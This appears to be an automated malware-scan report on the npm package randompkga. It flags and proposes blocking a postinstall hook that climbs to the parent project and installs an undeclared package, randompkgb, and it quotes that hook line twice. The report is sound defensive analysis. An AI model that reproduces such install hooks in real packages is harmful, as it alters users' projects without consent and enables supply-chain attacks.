## Security analysis

### Published attack-surface review

- **Summary:** Installing this package runs a postinstall hook that changes to an ancestor directory and installs another package. This mutates the consuming project without an explicit user command.

- **Trigger:** npm installation

- **Impact:** Adds and executes an undeclared secondary package in the ancestor project context.

- **Evidence paths:** package.json

- **Review source:** ai\_review

- **Reviewed:** 2026-08-19T20:50:41.838Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** postinstall directory traversal followed by npm dependency installation

- **Attack narrative:** During installation, npm executes the package's postinstall hook. The hook leaves the package directory via cd ../.. and invokes npm i randompkgb, causing an unrequested package installation in an ancestor project directory. The target package is not declared as a normal dependency, obscuring the additional installation from manifest-based review.

- **Rationale:** The lifecycle hook performs an unconsented install-time mutation outside the package directory. The missing declared entrypoint does not mitigate that concrete behavior.

- **Files touched:** package.json, ../..

### Review decision

- **Verdict:** Malicious

- **Confidence:** 98.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** postinstall climbs two directories and installs randompkgb into the ancestor project.

- **Evidence against:** Package contains only package.json; declared index.js is absent., No source shows network endpoint, credential access, or user-invoked setup flow.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/randompkga@1.0.15/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = echo POSTINSTALL_CWD=$PWD; cd ../..; echo TARGET_CWD=$PWD; npm i randompkgb
```

### 2. Critical: Red Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 95.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/randompkga@1.0.15/package.json>)

Install-time lifecycle script matches a deterministic static-gate block pattern.

Public source snippet (untrusted):

```json
scripts.postinstall = echo POSTINSTALL_CWD=$PWD; cd ../..; echo TARGET_CWD=$PWD; npm i randompkgb
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 98.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/randompkga@1.0.15/package.json>)
